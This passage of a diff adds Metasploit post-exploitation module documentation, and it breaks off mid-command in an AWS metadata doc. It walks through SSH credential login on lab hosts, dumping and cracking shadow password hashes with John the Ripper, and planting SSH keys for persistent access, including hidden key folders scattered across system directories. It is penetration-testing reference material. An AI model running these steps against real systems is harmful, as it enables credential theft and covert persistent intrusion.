+[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[+] SSH - Success: 'root:test' 'uid=0(root) gid=0(root) groups=0(root) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux ' +[!] No active DB -- Credential data will not be saved! +[*] Command shell session 1 opened (127.0.0.1:41521 -> 127.0.0.1:22) at 2016-09-14 00:15:36 -0400 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > use post/linux/gather/checkvm +msf post(checkvm) > set session 1 +session => 1 +msf post(checkvm) > run + +[*] Gathering System info .... +[*] This does not appear to be a virtual machine +[*] Post module execution completed + ``` +And a VMwave virtual machine +``` +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(ssh_login) > set username root +username => root +msf auxiliary(ssh_login) > set password "test" +password => example_password +msf auxiliary(ssh_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[-] SSH - Could not connect: The connection was refused by the remote host (127.0.0.1:22). +[!] No active DB -- Credential data will not be saved! +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[+] SSH - Success: 'root:test' 'uid=0(root) gid=0(root) groups=0(root) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux ' +[!] No active DB -- Credential data will not be saved! +[*] Command shell session 1 opened (127.0.0.1:41521 -> 127.0.0.1:22) at 2016-09-14 00:18:36 -0400 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > use post/linux/gather/checkvm +msf post(checkvm) > set session 1 +session => 1 +msf post(checkvm) > run + +[*] Gathering System info .... +[+] This appears to be a 'VMware' virtual machine +[*] Post module execution completed +``` diff --git a/documentation/modules/post/linux/gather/hashdump.md b/documentation/modules/post/linux/gather/hashdump.md new file mode 100644 index 0000000000..5fcec802b5 --- /dev/null +++ b/documentation/modules/post/linux/gather/hashdump.md @@ -0,0 +1,98 @@ +## Verification Steps + + 1. Start msfconsole + 2. Get a session via exploit of your choice + 3. Do: `use post/linux/gather/hashdump` + 4. Do: `set session ` + 5. Do: `run` + 6. You should see the contents of the shadow file + +## Options + + **SESSION** + + Which session to use, which can be viewed with `sessions -l` + +## Scenarios + +### Obtain Hashes + + Typical run against Kali, using ssh_login for initial shell + +``` +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(ssh_login) > set username root +username => root +msf auxiliary(ssh_login) > set password "test" +password => example_password +msf auxiliary(ssh_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[-] SSH - Could not connect: The connection was refused by the remote host (127.0.0.1:22). +[!] No active DB -- Credential data will not be saved! +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[+] SSH - Success: 'root:test' 'uid=0(root) gid=0(root) groups=0(root) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux ' +[!] No active DB -- Credential data will not be saved! +[*] Command shell session 1 opened (127.0.0.1:41521 -> 127.0.0.1:22) at 2016-09-14 00:12:36 -0400 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > use post/linux/gather/hashdump +msf post(hashdump) > set session 1 +session => 1 +msf post(hashdump) > exploit + +[+] root:$6$eMImGFXb$3eYV4g315Qf2NA1aQ72yMwnM68PapXfCoP74kAb5vmQoqOz7sDTJQEMPUNNjZSEz.E4tXebqvt2iR3W50L8NX.:0:0:root:/root:/bin/bash +[+] test:$6$gsSmzVTM$vxnEAvs2jEhuFtq0yzgCm.p49RmirvyI6HvPXgbLZCtg1sLp5Q2U82U6Gv6i5hz/pcsz882rnLRAyIL24h3/N.:1000:1000:test,,,:/home/test:/bin/bash +[+] Unshadowed Password File: /root/.msf4/loot/20160914003144_default_127.0.0.1_linux.hashes_080983.txt +[*] Post module execution completed + ``` + + This module only works when you are root or have root permisions. If you only have user permission, expect feedback: + + ``` +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(ssh_login) > set username test +username => test +msf auxiliary(ssh_login) > set password test +password => test +msf auxiliary(ssh_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[+] SSH - Success: 'test:test' 'uid=1000(test) gid=1000(test) groups=1000(test) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux ' +[!] No active DB -- Credential data will not be saved! +[*] Command shell session 1 opened (127.0.0.1:44823 -> 127.0.0.1:22) at 2016-09-14 00:24:17 -0400 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > use post/linux/gather/hashdump +msf post(hashdump) > set session 1 +session => 1 +msf post(hashdump) > exploit + +[-] You must run this module as root! +[*] Post module execution completed + ``` + ### Crack Hashes (John the Ripper) + +The stored file can then have a password cracker used against it. In this scenario, we'll use john (the ripper). +``` +root@k:/git/metasploit-framework# john /root/.msf4/loot/20160914003144_default_127.0.0.1_linux.hashes_080983.txt +Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt" +Use the "--format=crypt" option to force loading these as that type instead +Using default input encoding: UTF-8 +Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x]) +Press 'q' or Ctrl-C to abort, almost any other key for status +test (test) +test (root) +2g 0:00:00:00 DONE 1/3 (2016-09-14 00:32) 40.00g/s 460.0p/s 480.0c/s 480.0C/s test..oo +Use the "--show" option to display all of the cracked passwords reliably +Session completed + +``` \ No newline at end of file diff --git a/documentation/modules/post/linux/manage/sshkey_persistence.md b/documentation/modules/post/linux/manage/sshkey_persistence.md new file mode 100644 index 0000000000..b3287b541a --- /dev/null +++ b/documentation/modules/post/linux/manage/sshkey_persistence.md @@ -0,0 +1,541 @@ +### Creating A Testing Environment + + This module has been tested against: + +1. Kali Rolling +2. Ubuntu 16.04 +3. Centos 6 +4. Fedora 20 +5. FreeBSD 9 + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 4. Do: `use post/linux/manage/sshkey_persistence` + 5. Do: `set session #` + 6. Optional Do: `set username` + 7. Do: `set verbose true` + 8. Optional Do: `Set sshd_config` + 9. Do: `exploit` + + +## Options + + **sshd_config** + + Location of the sshd_config file on the remote system. We use this to determine if the authorized_keys file location has changed on the system. If it hasn't, we default to .ssh/authorized_keys + + **username** + + If set, we only write our key to this user. If not, we'll write to all users + + **PubKey** + + A public key to use. If not provided, a pub/priv key pair is generated automatically + +## Scenarios + +### Ubuntu 16.04 (user level) + +Get initial access + + msf auxiliary(ssh_login) > exploit + + [*] SSH - Starting bruteforce + [+] SSH - Success: 'tiki:tiki' 'uid=1000(tiki) gid=1000(tiki) groups=1000(tiki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),117(lpadmin),118(sambashare) Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.2.229:38886 -> 192.168.2.190:22) at 2016-06-19 09:52:48 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Use the post module to write the ssh key + + msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence + msf post(sshkey_persistence) > set session 1 + session => 1 + msf post(sshkey_persistence) > set verbose true + verbose => true + msf post(sshkey_persistence) > set user tiki + user => tiki + msf post(sshkey_persistence) > set CreateSSHFolder true + CreateSSHFolder => true + msf post(sshkey_persistence) > exploit + + [*] Checking SSH Permissions + [+] Pubkey set to yes + [*] Authorized Keys File: .ssh/authorized_keys + [*] Added User SSH Path: /home/tiki/.ssh + [*] Attempting to create ssh folders that don't exist + [+] Storing new private key as /root/.msf4/loot/20160619095250_default_192.168.2.190_id_rsa_425588.txt + [*] Adding key to /home/tiki/.ssh/authorized_keys + [*] Max line length is 65537 + [*] Writing 761 bytes in 1 chunks of 2886 bytes (octal-encoded), using printf + [+] Key Added + [!] No active DB -- Credential data will not be saved! + [*] Post module execution completed + +Verify our access works + + msf post(sshkey_persistence) > use auxiliary/scanner/ssh/ssh_login_pubkey + msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.2.190 + rhosts => 192.168.2.190 + msf auxiliary(ssh_login_pubkey) > set key_path /root/.msf4/loot/ + key_path => /root/.msf4/loot/ + msf auxiliary(ssh_login_pubkey) > set username tiki + username => tiki + msf auxiliary(ssh_login_pubkey) > run + + [*] 192.168.2.190:22 SSH - Testing Cleartext Keys + [*] SSH - Testing 2 keys from /root/.msf4/loot + [+] SSH - Success: 'tiki:-----BEGIN RSA PRIVATE KEY----- + ...snip... + 7m+il2AWyuPWOWEnpXRur3knruE2k97ObMH92FeI8SYaIThvqNUL + -----END RSA PRIVATE KEY----- + ' 'uid=1000(tiki) gid=1000(tiki) groups=1000(tiki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),117(lpadmin),118(sambashare) Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 2 opened (192.168.2.229:42580 -> 192.168.2.190:22) at 2016-06-19 09:56:22 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +If you try to run for a user you don't have permissions for + + msf post(sshkey_persistence) > exploit + + [*] Checking SSH Permissions + [+] Pubkey set to yes + [*] Authorized Keys File: .ssh/authorized_keys + [*] Added: /root/.ssh + [*] Attempting to create ssh folders that don't exist + [+] /root/.ssh + [*] Creating /root/.ssh folder + [-] No users found with a .ssh directory + [*] Post module execution completed + +### CentOS 6 (user level) +ssh keys must be enabled in sshd_config. + +Get Initial Access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set username user + username => user + msf auxiliary(ssh_login) > set password password + password => password + msf auxiliary(ssh_login) > set rhosts 192.168.4.62 + rhosts => 192.168.4.62 + msf auxiliary(ssh_login) > exploit + + [*] SSH - Starting bruteforce + [+] SSH - Success: 'user:password' 'uid=500(user) gid=500(user) groups=500(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.localdomain 2.6.32-71.el6.x86_64 #1 SMP Fri May 20 03:51:51 BST 2011 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.2.229:39289 -> 192.168.4.62:22) at 2016-06-19 15:27:27 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Use the post module to write the ssh key + + msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence + msf post(sshkey_persistence) > set session 1 + session => 1 + msf post(sshkey_persistence) > set verbose true + verbose => true + msf post(sshkey_persistence) > set user user + user => user + msf post(sshkey_persistence) > exploit + + [*] Checking SSH Permissions + [*] Authorized Keys File: .ssh/authorized_keys + [*] Added User SSH Path: /home/user/.ssh + [*] Attempting to create ssh folders that don't exist + [+] Storing new private key as /root/.msf4/loot/20160619152757_default_192.168.4.62_id_rsa_633695.txt + [*] Creating /home/user/.ssh/authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1447 bytes (octal-encoded), using printf + [+] Key Added + [!] No active DB -- Credential data will not be saved! + [*] Post module execution completed + +Verify our access works + + msf post(sshkey_persistence) > use auxiliary/scanner/ssh/ssh_login_pubkey + msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.4.62 + rhosts => 192.168.4.62 + msf auxiliary(ssh_login_pubkey) > set key_path /root/.msf4/loot/ + key_path => /root/.msf4/loot/ + msf auxiliary(ssh_login_pubkey) > set username user + username => user + msf auxiliary(ssh_login_pubkey) > run + + [*] 192.168.4.62:22 SSH - Testing Cleartext Keys + [*] SSH - Testing 6 keys from /root/.msf4/loot + [+] SSH - Success: 'user:-----BEGIN RSA PRIVATE KEY----- + MIIEpAIBAAKCAQEA8xtiDZrE6XgkOJaatg+TvUcrEr92/GDSZUtEqO9RvvvPO1Yt + ...snip... + Ubz5hiBypg1/C2TMB9jH3QLKmT66Te7rfym7rOBIgIJKivs5JLZe7w== + -----END RSA PRIVATE KEY----- + ' 'uid=500(user) gid=500(user) groups=500(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.localdomain 2.6.32-71.el6.x86_64 #1 SMP Fri May 20 03:51:51 BST 2011 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 2 opened (192.168.2.229:34721 -> 192.168.4.62:22) at 2016-06-19 15:49:34 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +### CentOS 6 (root) +The following sshd_config changes were made: + + PubkeyAuthentication yes + AuthorizedKeysFile .sshsecret/.authorized_keys + PermitRootLogin yes + + +Get Initial Access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set username root + username => root + msf auxiliary(ssh_login) > set password pass + password => pass + msf auxiliary(ssh_login) > set rhosts 192.168.4.62 + rhosts => 192.168.4.62 + msf auxiliary(ssh_login) > exploit + + [*] SSH - Starting bruteforce + [+] SSH - Success: 'root:pass' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.localdomain 2.6.32-71.el6.x86_64 #1 SMP Fri May 20 03:51:51 BST 2011 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.2.229:46420 -> 192.168.4.62:22) at 2016-06-19 15:58:32 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Use the post module to write the ssh key. Keep in mind NOT setting a user (targeted), and CreateSSHFolder will possibly make MANY folders/files as can be observed below. + + msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence + msf post(sshkey_persistence) > set session 1 + session => 1 + msf post(sshkey_persistence) > set verbose true + verbose => true + msf post(sshkey_persistence) > set CreateSSHFolder true + CreateSSHFolder => true + msf post(sshkey_persistence) > exploit + + [*] Checking SSH Permissions + [+] Pubkey set to yes + [*] Authorized Keys File: .sshsecret/.authorized_keys + [*] Finding .sshsecret directories + [*] Attempting to create ssh folders that don't exist + [*] Creating //.sshsecret folder + [*] Creating /bin/.sshsecret folder + [*] Creating /dev/.sshsecret folder + [*] Creating /etc/abrt/.sshsecret folder + [*] Creating /etc/ntp/.sshsecret folder + [*] Creating /proc/.sshsecret folder + [*] Creating /root/.sshsecret folder + [*] Creating /sbin/.sshsecret folder + [*] Creating /usr/games/.sshsecret folder + [*] Creating /var/adm/.sshsecret folder + [*] Creating /var/cache/rpcbind/.sshsecret folder + [*] Creating /var/empty/saslauth/.sshsecret folder + [*] Creating /var/empty/sshd/.sshsecret folder + [*] Creating /var/ftp/.sshsecret folder + [*] Creating /var/gopher/.sshsecret folder + [*] Creating /var/lib/avahi-autoipd/.sshsecret folder + [*] Creating /var/lib/gdm/.sshsecret folder + [*] Creating /var/lib/hsqldb/.sshsecret folder + [*] Creating /var/lib/mysql/.sshsecret folder + [*] Creating /var/lib/nfs/.sshsecret folder + [*] Creating /var/run/avahi-daemon/.sshsecret folder + [*] Creating /var/run/pulse/.sshsecret folder + [*] Creating /var/spool/lpd/.sshsecret folder + [*] Creating /var/spool/mail/.sshsecret folder + [*] Creating /var/spool/postfix/.sshsecret folder + [*] Creating /var/spool/uucp/.sshsecret folder + [*] Creating /var/www/.sshsecret folder + [+] Storing new private key as /root/.msf4/loot/20160619155920_default_192.168.4.62_id_rsa_271813.txt + [*] Creating //.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [!] No active DB -- Credential data will not be saved! + [*] Creating /bin/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /dev/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /etc/abrt/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /etc/ntp/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Adding key to /home/user/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 761 bytes in 1 chunks of 2910 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /root/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /sbin/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /usr/games/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/adm/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/cache/rpcbind/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/empty/saslauth/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/empty/sshd/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/ftp/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/gopher/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/lib/avahi-autoipd/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/lib/gdm/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/lib/hsqldb/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/lib/mysql/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/lib/nfs/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/run/avahi-daemon/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/run/pulse/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/spool/lpd/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/spool/mail/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/spool/postfix/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/spool/uucp/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Creating /var/www/.sshsecret/.authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf + [+] Key Added + [*] Post module execution completed + + +### FreeBSD9 (root) + +Several sshd_config mods were needed to allow root login, and enable the service to run correctly. + +Get Initial Access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set username root + username => root + msf auxiliary(ssh_login) > set password password + password => password + msf auxiliary(ssh_login) > set rhosts 192.168.2.130 + rhosts => 192.168.2.130 + msf auxiliary(ssh_login) > exploit + + [*] SSH - Starting bruteforce + [+] SSH - Success: 'root:password' 'uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) FreeBSD freebsd9 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.2.229:41724 -> 192.168.2.130:22) at 2016-06-19 22:10:59 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Use the post module to write the ssh key + + msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence + msf post(sshkey_persistence) > set session 1 + session => 1 + msf post(sshkey_persistence) > set verbose true + verbose => true + msf post(sshkey_persistence) > set username root + username => root + msf post(sshkey_persistence) > exploit + + [*] Checking SSH Permissions + [+] Pubkey set to yes + [*] Authorized Keys File: .ssh/authorized_keys + [*] Finding .ssh directories + [+] Storing new private key as /root/.msf4/loot/20160619221108_default_192.168.2.130_id_rsa_441694.txt + [*] Creating /root/.ssh/authorized_keys + [*] Max line length is 131073 + [*] Writing 380 bytes in 1 chunks of 1461 bytes (octal-encoded), using printf + [+] Key Added + [!] No active DB -- Credential data will not be saved! + [*] Post module execution completed + +Verify our access works + + msf post(sshkey_persistence) > use auxiliary/scanner/ssh/ssh_login_pubkey + msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.2.130 + rhosts => 192.168.2.130 + msf auxiliary(ssh_login_pubkey) > set key_path /root/.msf4/loot/ + key_path => /root/.msf4/loot/ + msf auxiliary(ssh_login_pubkey) > set username root + username => root + msf auxiliary(ssh_login_pubkey) > run + + [*] 192.168.2.130:22 SSH - Testing Cleartext Keys + [*] SSH - Testing 4 keys from /root/.msf4/loot + [+] SSH - Success: 'root:-----BEGIN RSA PRIVATE KEY----- + MIIEowIBAAKCAQEAqBC5XwkPOAtFn8zCFWIs3IIzUUfMvJPWxQQl1Porf8GiSs2B + ...snip... + 6aj815iPJp9X5vnIR6mRdTJP9UQraPe6jneicx8QfncfoqJbA2v7 + -----END RSA PRIVATE KEY----- + ' 'uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) FreeBSD freebsd9 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 ' + [*] Command shell session 2 opened (192.168.2.229:32991 -> 192.168.2.130:22) at 2016-06-19 22:14:16 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + + +### Fedora 20 (root) + +Get Initial Access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set username root + username => root + msf auxiliary(ssh_login) > set password password + password => password + msf auxiliary(ssh_login) > set rhosts 192.168.2.143 + rhosts => 192.168.2.143 + msf auxiliary(ssh_login) > exploit + + [*] SSH - Starting bruteforce + [+] SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.homeGroup 3.11.10-301.fc20.x86_64 #1 SMP Thu Dec 5 14:01:17 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.2.229:35460 -> 192.168.2.143:22) at 2016-06-19 20:27:53 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Use the post module to write the ssh key + + msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence + msf post(sshkey_persistence) > set session 1 + session => 1 + msf post(sshkey_persistence) > set verbose true + verbose => true + msf post(sshkey_persistence) > set user root + user => root + msf post(sshkey_persistence) > exploit + + [*] Checking SSH Permissions + [*] Authorized Keys File: .ssh/authorized_keys + [*] Added User SSH Path: /root/.ssh + [+] Storing new private key as /root/.msf4/loot/20160619202835_default_192.168.2.143_id_rsa_458964.txt + [*] Creating /root/.ssh/authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1456 bytes (octal-encoded), using printf + [+] Key Added + [!] No active DB -- Credential data will not be saved! + [*] Post module execution completed + +Verify our access works + + msf post(sshkey_persistence) > use auxiliary/scanner/ssh/ssh_login_pubkey + msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.2.143 + rhosts => 192.168.2.143 + msf auxiliary(ssh_login_pubkey) > set key_path /root/.msf4/loot/ + key_path => /root/.msf4/loot/ + msf auxiliary(ssh_login_pubkey) > set username root + username => root + msf auxiliary(ssh_login_pubkey) > run + + [*] 192.168.2.143:22 SSH - Testing Cleartext Keys + [*] SSH - Testing 2 keys from /root/.msf4/loot + [!] No active DB -- Credential data will not be saved! + [+] SSH - Success: 'root:-----BEGIN RSA PRIVATE KEY----- + MIIEowIBAAKCAQEAx5LLnAOPzc5KSI/Zd71bdHlexQrIpuASjUIGnJjlJVB9Sfyz + ...snip... + vtOaL6/NsfxFDDrCBX72X5tv3rTA4MNzOFTYbCM80Ln6E2TDWgPv + -----END RSA PRIVATE KEY----- + ' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.homeGroup 3.11.10-301.fc20.x86_64 #1 SMP Thu Dec 5 14:01:17 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux ' + [*] Command shell session 2 opened (192.168.2.229:35751 -> 192.168.2.143:22) at 2016-06-19 20:31:23 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + + +### Fedora 20 (user level) + +Get Initial Access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set username user + username => user + msf auxiliary(ssh_login) > set password password + password => password + msf auxiliary(ssh_login) > set rhosts 192.168.2.143 + rhosts => 192.168.2.143 + msf auxiliary(ssh_login) > exploit + + [*] SSH - Starting bruteforce + [+] SSH - Success: 'user:password' 'uid=1000(user) gid=1000(user) groups=1000(user),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.homeGroup 3.11.10-301.fc20.x86_64 #1 SMP Thu Dec 5 14:01:17 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.2.229:37727 -> 192.168.2.143:22) at 2016-06-19 20:33:45 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Use the post module to write the ssh key + + msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence + msf post(sshkey_persistence) > set session 1 + session => 1 + msf post(sshkey_persistence) > set verbose true + verbose => true + msf post(sshkey_persistence) > set username user + username => user + msf post(sshkey_persistence) > exploit + + [*] Checking SSH Permissions + [*] Authorized Keys File: .ssh/authorized_keys + [*] Finding .ssh directories + [+] Storing new private key as /root/.msf4/loot/20160619203401_default_192.168.2.143_id_rsa_010117.txt + [*] Creating /home/user/.ssh/authorized_keys + [*] Max line length is 65537 + [*] Writing 380 bytes in 1 chunks of 1452 bytes (octal-encoded), using printf + [+] Key Added + [!] No active DB -- Credential data will not be saved! + [*] Post module execution completed diff --git a/documentation/modules/post/multi/gather/aws_ec2_instance_metadata.md b/documentation/modules/post/multi/gather/aws_ec2_instance_metadata.md new file mode 100644 index 0000000000..75b2b20968 --- /dev/null +++ b/documentation/modules/post/multi/gather/aws_ec2_instance_metadata.md @@ -0,0 +1,198 @@ +## Vulnerable Application + + This module uses an existing session on an AWS EC2 instance to gather + the metadata about the instance. As such, any EC2 instance with `curl` + is an applicable target. + +## Verification Steps + + 1. Get session + 2. Do `use post/multi/gather/aws_ec2_instance_metadata` + 3. Do `set SESSION ` + 4. Do `run` + 5. See loot. + +## Options + + Set `VERBOSE` to `true` if you would like the AWS EC2 instance metadata to be shown + in addition to being stored. + +## Scenarios + + Default, non-verbose mode: + + ``` + resource (msf.rc)> use exploit/multi/ssh/sshexec + resource (msf.rc)> set PASSWORD test + PASSWORD => test + resource (msf.rc)> set USERNAME test + USERNAME => test + resource (msf.rc)> set PAYLOAD 